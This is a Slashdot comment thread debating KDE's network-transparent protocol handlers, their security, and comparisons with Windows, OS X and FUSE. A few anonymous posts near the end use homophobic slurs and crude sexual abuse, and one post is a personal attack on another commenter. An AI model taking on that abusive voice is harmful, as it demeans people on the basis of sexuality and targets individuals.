I love the Amiga, but I had no end of problems with the FTP device.

OS3.9 before boingbag 2 is another rant (and why I'm using a PC now).

Re:Don't be a hater

[Anonymous Coward]

Now do that with nfs, smb, and sftp links.

Re:Don't be a hater

[ocelotbob]

The difference is that you can write to ftp sites with kde. FTP is a lot less useful when you can't write to the remote site.

Re:Don't be a hater

[IntlHarvester]

> Except that it's not news for me,

I didn't see your other post, and your discussion of EOPNOTSUPP does not follow (you would get EROFS, no?), so I'm confused why you even brought it up. Hopefully your knee didn't jerk just because you saw "...OS X do not have these features..." :)

Re:Don't be a hater

[Guy Harris]

I didn't see your other post,

And this is apropos of what? To what other post are you referring? I'm not sure how that relates to "Except that it's not news for me" - it's not as if you should only be expected not to assume I was unfamiliar with KIO only if you'd read some other post in which I explicitly mentioned them.

your discussion of EOPNOTSUPP does not follow

It follows from the remarks about record locking, given that you'll get that error if you try locking on a file system that doesn't support it (such as an NFS file system mounted with the "don't do record locking" option).

you would get EROFS, no?

No. You'd get EOPNOTSUPP if you try to do record locking. You'd get EROFS if you tried to, for example, open for writing, if the FTP file system is read-only, but the fact that it's read-only is a consequence of the implementation, not an inherent characteristic of FTP-based file systems.

so I'm confused why you even brought it up.

Brought what up? EOPNOTSUPP? I brought it up as an answer to at least part of your question "How would KDE handle a (for example) 10MB MDB database file that uses file record locking?", explaining how that'd be handled by OS X (i.e., it's not handled by "not having [this] feature").

Hopefully your knee didn't jerk just because you saw "...OS X do not have these features..."

Well, OS X doesn't have the exact same feature, but it does have UNIX file-system API access to file systems mounted over FTP, so it was a response to "Windows and OS X do not have these features" that noted that OS X does have a similar feature, so "that feature is bogus - see, OS X doesn't have it because it can't handle a database file" is not a valid response to "this feature is cool", because it's not a true assertion.

BTW, at least from the KIO documentation I've seen, KIO is oriented towards sequential reading and writing of an entire file; if so, it wouldn't handle a shared database file at all. That doesn't render the feature completely useless.

Bloat Critics

[SyntheticTruth]

Some people would call such functionality within the desktop 'bloat'. I think before anybody says that, they first need to get themselves into the modern age. As the article mentioned, I find the fish:// handler to be one of the most oft-used handlers. Sure, I could scp remote files to the local machine, but it saves a lot of time to simply use fish:// in the file dialogs and such.

And it works *great* in Amarok, my audio player of choice. I no longer have to keep porting around my mp3 collection: I simply fish to my server and play them from there -- from anywhere. The only downfall, is that I need to force it to go to the next track after it gets to the end of a track, instead of automatically doing so, but it's a minor compared to the above ease-of-use.

Re:Bloat Critics

[Anonymous Coward]

The only downfall, is that I need to force it to go to the next track after it gets to the end of a track, instead of automatically doing so, but it's a minor compared to the above ease-of-use.

So, you're saying that the lack of basic mp3-player functionality is a minor issue? You really are a Linux nerd, aren't you?

Re:Bloat Critics

[twitter]

Bloat is goofey features no one wants and will never use. Things like the drawing editor in Word, for example.

KDE's networking transparency are wonderful features that don't take up many resources. I'm writing this on a 233MHz PII laptop. It runs KDE without any problems. I've gotten so used to KDE's networking goodies that I see their absence as a serious problem. Having to leave the current application just to open a file on another computer is a drag that almost annoys me as much as having to leave my chair to use another computer.

Re:Bloat Critics

[Anonymous Coward]

Moderators: Please note that "twitter" is a known fanatical psycophant whose obnoxious offtopic rants are legend here on Slashdot. It doesn't matter what the topic is, he'll find a way to scrape in some pointless Microsoft bashing. While nobody expects us to love Microsoft in any way, his particularly tepid style of calling anyone he replies to "troll" or "liar" or "fanboy" because he happens to disagree with whatever they're saying is well documented and should not be rewarded. If anything, twitter is the type of person that should not be part of the open source/free software community. He is an anathema to all that is good about free software.

I'm posting this so that you (the moderator) have some context to consider twitter and not mod him up whenever he posts his filler preformatted rants about installing Knoppix or whatever that unfortunately get him karma every single time and allow him to continue posting his trademark toxic crap (read on) day in and day out. You may consider this a troll - I consider it community service. And I ain't kidding.

If you're a /. subscriber, I invite you to look through some of his posting history. I guarantee that you'll be hard pressed to find someone that is more "out there" than twitter. You'll also probably notice he's got quite an AC following. Don't just read his posts, make sure you go through the replies.

To get an idea of what I'm talking about, check this post out. I mean, this is an article about email disclaimers, right? The parent of the post is complaining about the ads in the linked page and so on, and twitter actually goes off on a rant to blame it on Microsoft and recommend Lynx. WTF?

Here's another. In this post twitter not only calls the OP a troll but attempts to "tell it like it is" while making some vague argument about "GNU". Yes, if you're confused, you're not alone. The reply (modded +4) proceeds to simply destroy his bogus argument. You will notice he did not reply. This is what some people call "drive-by advocacy". A sort of I'll just leave you with my thoughts here and move on to the next flamebait kind of deal. In fact, he almost never replies because he knows that his fanatical arguments simply do not hold up to any sort of discussion. It's not that he's chosen the wrong cause - he's just going at it in a completely wrong way.

More? Just read though this post and the subsequent replies. I guess this stands on its own. Or these two. Or this one.

Still not convinced? This is what twitter considers "humour" while going about his daily "M$" routine.

More? Bad spelling in astounding conspiracy theories, more offtopic FUD and uninformed "I'm right, look at me" rants, promptly proven wrong. Worse even, twitter wants to be RMS, apparently (that first one is a winner). I mean,

Re:Bloat Critics

[Anonymous Coward]

couldn't you just set the directory to scan as fish://location of mp3s, then you wouldn't need to keep telling it to move...

Re:Bloat Critics

[SyntheticTruth]

I could not specify a fish://location as a source dir to scan, unfortunately.

Re:Bloat Critics

[Anonymous Coward]

Wow, that is nice.
But, too bad it only now works with aRts output.

But regular people don't think this way

[Stevyn]

Us computer geeks like this because we think of things as networks and protocols. However, the rest of the computer users don't. tar:/ is no more intuitive than double clicking on the .tar file and opening it.

Saying Windows and MacOS has to catch up implies that these are feature people want, or would want if given the option. I think treating compressed files like folders like they already do is more intuitive and makes more sense. I think they got a little carried away with this.

Re:But regular people don't think this way

[nutshell42]

The advantage of tar:/ is not that joe average now can open tars in his web browser but that it can be invoked transparently by all apps. You click on a .tar.gz in konqueror and it opens like a regular directory, you do the same in kate because you need a text file from the archive and it treats it like a directory, you have an archive with images of your different trips you can open them like a directory in gwenview or any other kde image viewer. It's the same for any other protocol supported by kio-slaves.

Re:But regular people don't think this way

[spitzak]

If you double-click the tar file, this is the url you get. To the user it "works". However compared to Windows, there is an exact string that will go to the same place, which is extremely important despite the fact that it is not something the enduser sees.

I do wish they would get this at a lower level so all programs can use these filenames, however!

Re:But regular people don't think this way

[idlemachine]

Us computer geeks like this...

Is this false dichotomy of "geeks vs regular people" actually benefitial at all? Does anyone still really believe this?

Having an integrated transparent network layer benefits the "geeks" as much as it does the "regular users". Continuing to simplify the interface for previously more complex operations means that those "regular users" can start thinking in terms of those operations as well.

I can't understand your swiftness to dismiss simplifying an interface as getting "carried away"...doesn't this just make things easier for everyone?

Re:But regular people don't think this way

[julesh]

tar:/ is no more intuitive than double clicking on the .tar file and opening it.

To explain why this is better than existing implementations of similar features, I'll use the most similar other implementation I'm aware of: Windows XP's Compress Folder Shell Extension. This and the tar: protocol handler both provide what is, at least at a superficial level, the same capability: to look inside a compressed archive and see what files it contains, and perform some manipulation on them.

The differences come about, though, when you stop using the shell and try to open one of the files in another application. You see, the Windows XP implementation cannot do this without first copying the file to a temporary folder. This means that (a) when you try to open a file there is typically a delay while it is extracted before the application is launched, and (b) you cannot drag and drop files out of a "compressed folder" into any application other than explorer.

However, what KDE has done is provide a protocol where the shell (i.e. konqueror) can specify to another KDE application (e.g. kwrite) the location of that object within the tar file. So you can actually open the object without making a copy of it. You can drag and drop from konqueror to any other KDE application (that is willing to accept drag and drop at all).

It is more efficient, and it works more like the user expects. This is why it is good.

Konqueror vs Mozilla

[barks]

I'm anxious to try some of protocols at home using Mozilla. While I assume several ppl will argue that Konqueror is an incredible browser I quickly gave it up when I learned it was showing some website incorrectly that were using certain CSS. Prehaps they've addressed to these problems in the last KDE 3.3.1 upgrade.

Re:Konqueror vs Mozilla

[eugene ts wong]

As a web designer, I feel that Konqueror 3.3.1 is miles ahead of 3.2.* and Mozilla. I'm constantly surprised at how well it renders CSS.

RTFM- there's no "holdup", it's done it since 10.0

[SuperBanana]

The network transparency of KDE is brilliant. I'm not sure where the holdup for OSX is, but I would kill to be able to open a location with cmd-k, fish://user@myhost

afp://user:password@hostname_or_atalk_name/direc tory/

This also works for WebDAV (apple has been a pioneer in the use of WebDAV), SMB (windows fileshares), ssh+scp, etc. yes, you can open an ssh session from Connect to Server in the finder.

Windows has also had similar capabilities for quite a while. I really fail to see what's new and exciting about KDE, save that it supports more tutti-fruity URI's.

Methinks the KDE boys just don't know OSX, because it took me 10 seconds to find this info via google, and I know I've found it on info.apple.com before. Really, folks- both OS X help and info.apple.com are excellent for learning about the OS.

Microsoft has to catch up?

[Pedrito]

Why does Microsoft need to catch up? Anyone can write an Asynchronous Pluggable Protocol (the handlers for different url monikers). I've written two of them for different applications I've written. It's a great way to tie browsers to HTML not stored on a web server.

mk-its: is used in the HTML help system, and ms-help: is used with the MSDN, and there are probably a few others that most people have never heard of.

But like I said, why is it up to MS? Anyone in the open source community could write APPs for Windows to add this kind of functionality if there were a demand for it, so I suspect there's little or no demand for it.

Re:Microsoft has to catch up?

[Pedrito]

I thought I'd tag on a little additional information. Here are the protocol handlers on my Win 2K system. Yours may vary:

about:, cdl:, file:, ftp:, gopher:,
http:, https:, ipp:, javascript:, local:,
mailto:, mhtml:, mk:, msdaipp:, ms-help:,
ms-its:, ms-itss:, res:, sysimage:, vbscript:, and
vnd.ms.radio:

I don't know what all of them are, but I think there's probably more there than the original submitter of the article probably realized.

Re:Microsoft has to catch up?

[Anonymous Coward]

So if I write a handler it has a chance to be included in the next Windows release? And everyone can use it? I thought Windows was closed source.

Re:Microsoft has to catch up?

[PitaBred]

RTFA. This isn't about handlers. This is about having a universal way to access other things over the network from within the system, using many different protocols, all transparently.

Doesn't George look like...

[Anonymous Coward]

MAD's Alfred Neuman?

Put it in the shell?

[Karma Farmer]

Let me know when it's included in a kernel module, and I can use it from all my programs. Until then, it's just more crap in a bloated set of non-standard user libraries.

Re:Put it in the shell?

[caseih]

Well, using fuse of lufs you could. But it's not as flexible. For instance, password handling and so forth.

Re:Put it in the shell?

[Anonymous Coward]

I'll write it once you convince the people on the kernel team to include it. Have a nice 10 years doing that.

... sadly they can't even catch up ...

[Anonymous Coward]

... because their framework sucks bad ass ...

the stability advantage

[Roadmaster]

However you'll have little need to keep rebooting your box with linux/kde as opposed to the instability of windows. A (vastly) more stable OS is a good tradeoff for a slower boot time (since the days of OS/2); any (little) time you "waste" booting is more than offset by the several times you'll have to reboot windows in the same day.

Re:the stability advantage

[Anonymous Coward]

Oh fucking please. I could have replied to any of a trillion posts today, but I'm replying to yours.

I never reboot windows once I've finished installing and updating. My Windows 2000 server has been up for over 6 months. My windows xp desktop is turned on in the morning and turned off at night. They don't crash. They don't get silly. They work fine.

If you have a problem with windows stability I might suggest you have no idea what the fuck you are doing.

Re:the stability advantage

[Roadmaster]

There, there. Calm down or your windows server's going to crash. And no need to "fuck" twice, trust me, I know plenty well what I'm doing, and I'm not impressed by your alleged 6-month uptime, since as even you might know, it's the exception rather than the rule.

needs to be standardized and broken out

[geg81]

Virtual file systems have been around for a while, and they are useful: there really is little reason why something like WebDAV or even NFS should have to go through the kernel--it can be handled more efficiently in user code. But as long as they are implemented as part of these desktop environments, they are not used by enough software for users to actually rely on them.

What is needed is for the Gnome, KDE, and libc developers to get together and talk about how to unify this functionality, break it out completely from the desktop environments, and integrate it (via hooks) into the kernel I/O and stdio functions in the standard library. But I suppose hell will freeze over before that happens.

Re:needs to be standardized and broken out

[idlemachine]

But I suppose hell will freeze over before that happens.

Isn't that exactly what http://freedesktop.org/ is all about?

Re:needs to be standardized and broken out

[geg81]

There are some things that freedesktop.org is developing that are just useful to both desktops and that's getting used. But is there any indication that the VFS implementations are getting merged?

Also, "freedesktop.org" still sounds like they are not building tools that would really become a core part of Linux; they are mostly working on desktop related issues. For something like a user-mode VFS to catch on, the libc maintainers would have to be on board, at least providing hooks into libc.

Re:needs to be standardized and broken out

[ocelotbob]

Also, "freedesktop.org" still sounds like they are not building tools that would really become a core part of Linux; they are mostly working on desktop related issues. For something like a user-mode VFS to catch on, the libc maintainers would have to be on board, at least providing hooks into libc.

The thing is that fd.o is about the free desktop. They don't care what OS it's implemented on. By moving the hooks to glibc, it shuts out the freebsd users, the aix users, etc.

Custom URL handlers

[atomm1024]

I don't like this trend of assigning custom URL handlers to things based on file format. That's what MIME types and file extensions (outside of HTTP) are for. We now have the feed:// handler implemented in several environments -- why? It automatically assumes HTTP, and in that case, why not just send a HEAD request to find out the format? Custom URL schemes are breaking the purpose for which they exist: indicating what protocol to use to fetch the resource, not the function of the content of that resource.

Aren't there potential security issues with these?

[Asprin]

What with all the problems that surfaced with the Windows shell:// handler this summer, shouldn't we have a healthy amount of skepticism about the security implications of protocol handlers that do more than simply display data?

Not a troll...

[Xentax]

Maybe I'm not grok'ing what this is all about, but why is networking/browsing integration in Windows BAD (IE's file://, explorer accepts http:// and \\server support, etc.) but GOOD in KDE? Aside from the "this is Slashdot and that's the way we are" responses, mind you...

Xentax

Re:Not a troll...

[Anonymous Coward]

you sound like you're new here.
just be quiet and bash microsoft. that's how it' s done here.
oh and click the banners and buy shit from amazon and thinkgeek. NOW BITCHASS!!!

Re:Not a troll...

[Anonymous Coward]

The underlying mechanism is not the same

Re:Not a troll...

[IntergalacticWalrus]

You missed the point: in KDE _every_ application has access to those protocols, not just the file manager.

bloat sucks

[Anonymous Coward]

mc (midnight commander) supports fish, and it runs anywhere, even on console. tasty! less filling!

Konqueror progress

[Anonymous Coward]

"While I assume several ppl will argue that Konqueror is an incredible browser I quickly gave it up when I learned it was showing some website incorrectly that were using certain CSS. Prehaps they've addressed to these problems in the last KDE 3.3.1 upgrade."

I believe they have. Konqueror on my 10-month-old KDE desktop has some quirks, but the latest Konqueror renders pages famously on my friend's gentoo box (which is completely up-to-date with KDE).

In fact, I'm often pleasantly surprised when I design a table-less CSS website, and both Safari and Konqueror render it pixel-perfect.

They need about:about

[hey]

Mozilla has the about:about pseudo protocol
that gives you a list of all the other protocols.
Since KDE has so many (the article said 75) they need an easy why to get list.

Re:They need about:about

[Anonymous Coward]

For those interested, here is how to get a list.

exec:/kcmshell ioslaveinfo

it's from the last page of about:konqueror .

Re:RTFM- there's no "holdup", it's done it since 1

[pschmied]

Right. There is WebDAV and SMB. There is also NFS. Unfortunatly, there is no SSH as best as I can tell. Thus spoke Mac Help:

You can also connect to SMB/CIFS, NFS, FTP, and WebDAV servers running on Mac OS X Server, AppleShare, UNIX, Linux, Novell NetWare, Windows NT, Windows 2000, and Windows XP servers.

SSH+SCP would be really nice. fish:// on the other hand, is shear brilliance. It uses Perl on the server side to do some things that are not possible with just SSH+SCP. Those are great fallbacks, but fish:// is innovative. But, I'd be happy with just SSH+SCP. As far as I can tell, it doesn't exist in OSX.

This brings me to another annoyance with OSX: It doesn't tell you when it doesn't know about a protocol. I can tell my OS X 10.3 machine to connect to a server. For a URL I type in "bogusprotocol://foo@foo.foo". The Finder tells me, "Connection Failed. No response from the server. Please try again."

WTF? I'd prefer something like, "You moron, you've just typed in a protocol name that doesn't exist." Please don't say, "Sorry, but we couldn't connect to this perfectly valid URL because the host wasn't available."

-Peter

perldoc?

[SQLz]

Has anyone got perldoc working?

Re:perldoc?

[Anonymous Coward]

dude don't be such a lazy bastard. open a console and type "perldoc". or just add a macro to your text editor or something.

In a word, NO.

[WindBourne]

these are clients. This is like adding an ftp client, or a normal e-mail client, or a straight browser, or.... Basically, the only security risk is that more code was added. But that is common with adding an new functionality. The nice advantage of this is that a new app can get well tested code, and of course a common app can gain a new protocol.

I don't think so

[Anonymous Coward]

I'll just flip the two statements around here:

... and as George puts it, 'Microsoft Windows and Mac OS X have a long way to go to catch up with the robust, transparent functionality that KDE has provided since version 2.0.'

... followed by ...

George Staikos takes us on a walk-through of KDE's desktop networking protocol handlers in the vein of sftp:// webdav:// and a few really nifty ones I wasn't aware of like info:/ perldoc:/ and tar:/.

Now, you can call me paranoid, if you want, but just look at the number of errors that are related to this kind of hadling prtocols. While it is really nice to have all these protocols accessible in one common and uniform manner, this also looks like a road to Microsoft-like hell. It only takes one bug in one of the protocol handlers and one "link" embedded in HTML document to wreak havoc over application, desktop or even worse complete user profile.

While I do like the KDE environment, I just can't use it. I don't think that kind of close integration between desktop and network can be a good thing. Not yet. Having a desktop like this means that I have to avoid using any native KDE (KHTML) functionality including HTML document thumbnails in Konqueror as file manager, and Konqueror as a web browser. This suddenly lands me in a situation where I HAVE to use alternative (most likely Gecko based) browser that is not integrated with KDE in any way.

It is nice to go in the direction of component integration, but in this "protocol" case, I simply don't belive in integration safety. It is a step forward not to have complete computer hosed because of one bug in web browser, but I don't think I would like to see my desktop and/or profile hosed because of it either. Too much integration leads to too much danger for my data. All backups aside, I simply don't like doing restores. They take ages, and prevent me from browsing Slashdot. I just think KDE team managed to find another excuse for me to stay in AfterStep environment. It doesn't have many bells or whistles, but it is truly rock solid.

Anonymous Cowards Unite

Re:I don't think so

[Guy Harris]

Now, you can call me paranoid, if you want, but just look at the number of errors that are related to this kind of hadling prtocols. While it is really nice to have all these protocols accessible in one common and uniform manner, this also looks like a road to Microsoft-like hell. It only takes one bug in one of the protocol handlers and one "link" embedded in HTML document to wreak havoc over application, desktop or even worse complete user profile.

I.e., something such as this OS X problem?

I hope they did a better job than MS...

[Anonymous Coward]

Maybe I don't understand this 100%, but this seems to me a massive potential security hazard.
It's not difficult for me to imagine a web page link manipulating one of those weird protocol handlers in a way that lets remote code exploit it in the same way that several crackers have with a few of MSWindows' extra protocol handlers...

What a lame response

[adiposity]

I use KDE (posting from KDE on FreeBSD, actually) and Windows extensively. Your response reeks of the same sort of bias you're complaining about.

> Using Windows is an exercise in frustration for me

That's a fair statement, but it doesn't mean Windows is unuseable or inherently frustrating. It just means that you personally are uncomfortable with it. I would guess you don't use it much, if you are that frustrated with it, because the behavior is very consistent and predictable. Yes, there are quirks, but after using Win2k for several years, I'm aware of the majority of them...and guess what? I'm pretty happy with how Windows works.

> not being able to change it to some sane
> behaviour is even worse

Windows can be tweaked quite a bit, although not nearly as much as KDE/Gnome desktops. However, "sane behaviour" is completely in the mind of the user. As far as I'm concerned, Windows behavior is completely "sane." It may not be the most efficient, or what I'd prefer, but it makes sense once you understand it. A lot of people believe that mouse/keyboard is a horrible interface design, but once you understand how it works, it seems "sane." I imagine the same is true of whatever desktop you use.

KDE's desktop is fine, although it does have some quirks that I find annoying. For example, I like to click on icons, then use "delete" or "F2" to rename, etc. But clicking on the icon once launches it, so I end up using the right-click+ rename or something similar. Is this "sane" behavior? Yes, but it is annoying when you aren't used to it. The same is true of many Windows quirks.

"Sane behavior" is in the mind of the user, which is largely shaped by which OSes and Desktops the user is most familiar with. I'd argue that because Windows is less customizeable than KDE, it's actually more consistent, and thus more "sane" for the average user. For the most part, I can sit down at anyone's windows box and things will work as expected. Linux boxes are a different story.

I'm a power user, and I like being able to customize. But I learned a long time ago, after using Win89/Win2k/KDE1,2,3/Gnome1,2/Mac OS9,X and a few other desktops that "sane" behavior doesn't even exist. Some desktops are harder, some are easier, but the most relevant thing is what you are used to. Of course a desktop can be made ridiculously hard to use...I'm not arguing that. But I don't believe Windows is one of those desktops. I use it all the time for development, browsing, email, word processing, and it works fine. I'm aware of its limitations and I work around them...just like I do with KDE.

-Dan

Re:What a lame response

[cozziewozzie]

Thanks for the civil reply. I have used Windows quite a lot, and many different versions. Over the years it didn't get easier, but more frustrating. When I tried Linux/KDE, it felt liberating. Now, it might be my personal preference, but that's the way it is with me. Windows forces you to do things one way, which is not efficient, or optimal, and can usually not be changed or adapted. KDE, on the other hand, lets you change almost anything you wish (including the single/double click behaviour you mentioned -- directly from the KDE wizard you get the first time you run it).

For a long time, I had issues with some KDE behaviour, but with time, those problems went away. Windows, on the other hand, still has the same quirks and they are as annoying as ever.

as i posted on site,

[itzdandy]

Re: Breaking the Network Barrier / KDE: From the Source (Score: 0)
by Anonymous on Oct 29, 2004 - 02:28 PM

the real accomplishment will be the ability to have these protocols mounted so that NON-kde apps can access these resources. mplayer cannot use the smb:// i/o so you cannot play video files on a remote samba share using this method.

if kde would be smart enough to allow you to mount the location represented with the open-with command that would be great.

smb:/host/video/clip1.mpeg would translate to /smb/host/video/clip1.mpeg and kde would automagically mount it as such until nothing has accessed for a timeout. then, when navigating @ smb://host/video and you open-with mplayer, kde sends mplayer the local mount path and opens it!

THAT would be cool.

Re:as i posted on site,

[Geek Boy]

You can do that from konqueror already. Just click on a file and it downloads it in the background, launches your app with it, and cleans it up when it's done.

Re:as i posted on site,

[itzdandy]

nope, that DOWNLOADS the file, if i wanted to download the file i would, i want it to run FROM the network. if i have a large video file(1GB?) i don't want to download that 1GB to watch it, i may not have 1GB free to download it too.

Re:as i posted on site,

[brentl]

It's a good point you make, as most of the good KDE video players (Kaffeine, KMPlayer, Codiene) are just front ends for Xine and MPlayer, which don't support KIO Slaves. So you can browse the smb:/ protocol from the application's file dialog, but when you open the file it tries to download the whole thing.

But you can add an smb entry to fstab and it'll appear in devices:/. Click on it in konqueror and it will be mounted normally under /mnt.

I don't think it's right to be blaming KDE because you can't access kio slaves from non-KDE apps. If an application developer wants to use them they can (I'd assume it's possible even from non Qt apps, considering GTK-Qt and other strange cross-toolkit things that are possible).

They're easy to implement and well documented, what more can KDE developers do?

Re:as i posted on site,

[itzdandy]

hold on brentl! i'm very much not discrediting the KDE team for not having this 'feature,' i'm just saying it should be a simple task and EXTREMELY usefull. not for just smb://, but ftp and ssh, for a mysql database, etc. imagine accessing an sql database from konqueror sql://127.0.0.1 and having write access, konqueror could see tables as folders and data in those tables as files, and those tables and files could be writen, add, or deleted at will. AND xmms could access this as /mnt/sql/127.0.0.1/mp3/smashing_pumpkins/bulletwbu tterflywings.mp3 with no problems. for that matter, the files could be wav files and mpg123(321?) could encode them right in the database.

see how having these protocols mount to an appropriate directory for ALL programs to read and write would be awesome?

Re:as i posted on site,

[Geek Boy]

You don't think when an app uses KIO directly it doesn't download the file, do you? If so, you have much to learn about networking. Most protocols don't support random access...

Re:as i posted on site,

[itzdandy]

hm,
first of all, i don't have "much to learn about networking"

secondly, KIO does allow random file access, so it downloads the file for play by streaming it. that file is not fully downloaded but oly the part currently being played and a small buffer, it MAY be spooled to disk cache but it is not downloaded, THEN played.

how long does it take you to download a 1GB file over a 100speed network? likely 3 minutes+, when i click on a video file on my network i don't want to wait 3 or more minutes to watch it, i want to watch the data stream so that it starts playing immediately! KIO allows this.

btw, i am a network tech by trade, MCSE certified and 6 years of network building and troubleshooting in the corprate environment. i have very little to learn about networking.

Who cares?

[Tim Ward]

The innards may well be crap. If it works, who cares?

The poor sod who's been given the job of making the innards do something different, that's who cares. Never mind, I got paid several times as much as I would have earned for doing the same job on a decent code base, because it took me several times as long to make it work and I wasn't daft enough to quote fixed price for working on code like that!!

Networks are the weakest link

[Q2Serpent]

This may be useful for LANs, but I'd never use this to open a file from work to home, for example. I use KDE every day, but the absolute frustration that develops when you are in the middle of any network-requiring operation and the network goes down is not worth the stress.

Usually, I find a way to do what I want easily and with a local copy, and I do it that way. Once you have an easy way to synchronize things (like with rsync or a script that pushes/pulls files from anywhere), you'll end up with less pulled-out hair and even a backup copy to boot.

hellyah pr0n://megacockcravers.com/ in my kde

[Anonymous Coward]

KDE is sooooooooooo gay!

Unfortunately, FTP is out in the cold

[Jameth]

For some reason, FTP never works well with KDE. It works fine if you have an anonymous login, but I have never been able to get it to open any of my other three ftp storage locations. 80% of other programs work PERFECTLY with them, and the other 20% can be tweaked until they do. Unfortunately, I can't even easily tweak the options for KDE so it will let me work with my files.

Considering that FTP is absolutely ancient, extremely widely used, and a mostly solved problem, this is rather sad.

Re:Unfortunately, FTP is out in the cold

[Jason Hood]

ftp://user:pass@ftp.microsoft.com

Downside to KDE's use of the network

[DunbarTheInept]

I have a laptop with a wireless card. One thing I find really annoying about KDE is that it will *always* try to do networking stuff if it sees a network there, even if the network doesn't fully work. Thus when my laptop is in a zone where it can pick up a wireless signal, but the wireless network is firewalled off in such a fashion that I can't really use it without a password, then KDE takes an amazingly long time to do *anything*. I launch even a simple terminal window and it takes several minutes to appear. And no, the system is not under load, and the text console works just fine, and other desktops like enlightenment or gnome work just fine. Only KDE seems to get really, really lagged when it sees this partial network connectivity - which given the method used by the university that employs me to handle their wireless network, is a situation that comes up on the campus *constantly*. (The way they do it, since they want any J. Random Student to be able to use it, but they don't want non-students and non-staff to use it, is to let any card connect without a key, but then there is a firewall that can be reconfigured on the fly that prevents you from getting out past the transmitter hub by default. The only site it lets you see is a website that has the login/password for your student or staff account. If you login correctly, then it reconfigures the firewall on the fly to let you through to the rest of the internet.)

Question regarding KDE and Samba

[Jeremi]

KDE's handlers system is great, but it doesn't seem to quite handle my needs. Perhaps someone can suggest a solution?

The problem is this: My app's users are not Unix-literate and therefore cannot be expected to use the command line. But my users need to use a (non-KDE-aware) helper application to convert files and store them on a Samba server.

KDE's nifty handlers let them easily log in to the Samba server and see the target directory just fine... but there appears to be no way to tell the helper app to save them directly to that folder, because there is no way to specify the Samba directory via a file requester.

I thin what I really need is a nice friendly GUI front end for the "mount" command, so that my users can have their Samba server's directories appear in the regular old filesystem tree. MacOS does a great job of this (the Samba folders automaticallyin a directory called "Volumes") but KDE/Linux apparently does not.

Can anyone suggest a good solution to this problem?

Re:Question regarding KDE and Samba

[spitzak]

What you want is the same thing about a dozen other people have asked for here (including me). These names should work with the normal libc calls like open()! Having to link with a special KDE library and rewrite the application to use different calls is not acceptable.

Why can't they do this? The excuse seems to be that the solution would be linux-only, but that's a poor excuse, as they could continue to use the old interface on other systems, and really the only other one of interest is BSD and it will probably be fixed, too!

(the filenames should probably be altered somewhat. foo://bar/baz would be /kio/foo/bar/baz)

Re:Question regarding KDE and Samba

[Jason Hood]

Having to link with a special KDE library and rewrite the application to use different calls is not acceptable.


Not acceptable? Its their project. If you dont like it, dont use it or write your own. That or port what they have into slimmed down ioslave factory. Most people like the ioslaves because they dont mount on the actual file systems. I know I do. "It just works" (tm)

Its no different than windows or mac, If you dont use the same chooser from the system library, it wont have all the power that that LVM might have. If you dont use the chooser from KDE, you wont get the ioslaves...

Re:Question regarding KDE and Samba

[Jason Hood]

Not sure of your environment but you can run the chooser manually from any application...

kdialog --getopenfilename /home

For /home you can of course use "fish://chewy:han@ssh.starwars.com" and it will automagically start with that dir.

Check out the other options for kdialog, It can do quite a few other things.

Re:Question regarding KDE and Samba

[Jeremi]

Its no different than windows or mac

Actually, it is different from the mac. On the Mac, when you mount a Samba volume via the Finder GUI, it shows up as a directory in the file system (e.g. /Volumes/MyDiskName). I would be very happy to see that behaviour under Linux as well.

Re:Question regarding KDE and Samba

[captaineo]

You could do this with a "user-mode" filesystem that loops requests to /kio/* back out to a user-mode handler program which interprets the path. That avoids the objection about putting too much protocol stuff in the kernel. You do have to be careful about deadlocks during resource exhaustion (kernel needs to tell user-mode helper to throw away data to free memory, but user-mode helper is swapped out). I think this can be worked around however, and I bet Linus would accept a suitably safe patch to do this.

I know for sure I have seen user-mode filesystem patches floating around, but none is in the kernel right now AFAIK.

Re:Question regarding KDE and Samba

[Jason Hood]

Due to separation of layers, the Kernel does not and should never have knowledge of that a POP or News server is. Therefore we will probably never have a driver for them.

As for networked filesystems, I personally have never needed to have a filesystem mounted on the system that I was browsing with konq. I would assume that the developers are the same way. Not so say that it wouldnt be nice, I just dont think its needed.

The die hard fvwm/twm/fluxbox linux vets I am sure would disagree ;)

Add to the Shell?

[Jameth]

I've always liked most of KDE's network transparency (you can see my other post for a comment on FTP) and always wished someone would make a KDE Shell. Imagine being at the shell prompt and just typing webdav://at.random.location and changing directories straight into the webdav server, seamlessly.

Since the KIO stuff already converts everything into a directory-style format, this should be possible; perhaps it even wouldn't be too difficult to put together.

Whatever the case, it would be cool to have the KDE suite of technologies available system-wide, even when I can't get X going.

Blurring the lines

[glorf]

Is it really a good thing to blur the lines of what is on your PC and what is on the network? MS made a big push for this when they decided that explorer and iexplorer would be interchangable. If you don't have to specifically start a network aware app then how can you tell what resources should be treated with more care?

FUSE KIO Gateway

[dmaxwell]

Apple is doing this stuff (e.g. you can mount WebDAV servers), but Apple is doing it right by integrating network resources into the real VFS layer so that all applications can access them. KDE's I/O slaves are not real filesystems and are not accessible by all applications.

Not necessarily.....

http://kde.ground.cz/tiki-index.php?page=KIO+Fus e+ Gateway

What happened to the KIO Fuse Gateway?

[no_choice]

There was a project called Fuse, (File system in User SpacE) that aimed to make a kernel module that would let linux users actually mount anything that the KDE I/O Slaves can handle. This seemed like a great idea to me; it would let non-KDE apps and the command line have access to all those networked devices. But the project seems kind of dead:

http://kde.ground.cz/tiki-index.php?page=KIO+Fuse+ Gateway

Does anyone know what happened to it and if there are any other projects that would do this?

Re:What happened to the KIO Fuse Gateway?

[Guy Harris]

There was a project called Fuse, (File system in User SpacE) that aimed to make a kernel module that would let linux users actually mount anything that the KDE I/O Slaves can handle.

Does anyone know what happened to it

Its home page moved to SourceForge. However, it doesn't itself handle stuff the KDE IOSlaves can handle; for that you'd also want the KIO Fuse Gateway.

and if there are any other projects that would do this?

lufs?

I *LOVE* fish://

[Omega]

I bought my girlfriend an iBook for her birthday and I've been trying to duplicate all the Linux functionality she's used to from our desktop (e.g. I put KDE-games and the Gimp on it, etc) but the one thing we both miss is fish://.

I don't know why Apple didn't include something like fish:// -- it's sheer brilliance (much like Exposé is brilliant). I briefly considered writing a protocol translator for her laptop so Finder would think it was accessing SMB shares when it was really using ssh. Instead, I've decided to just go with Fugu. It does the job -- I just really miss the integration. :(

because KDE is gayer than a pink faggot's turd

[Anonymous Coward]

KDE is all so pretty pretty in that "please fuck me up the ass" way

that's totally gay!

[Anonymous Coward]

you can already type http://megacockcravers.com/ in your web browser. you don't need to add even more bloat to KDE. or else it'll reach a maximal erection^H^H^H^H^H^Hsingularity and we'll all end up in a new really really gay universe. no thanx dude!

There he goes agian.

[twitter]

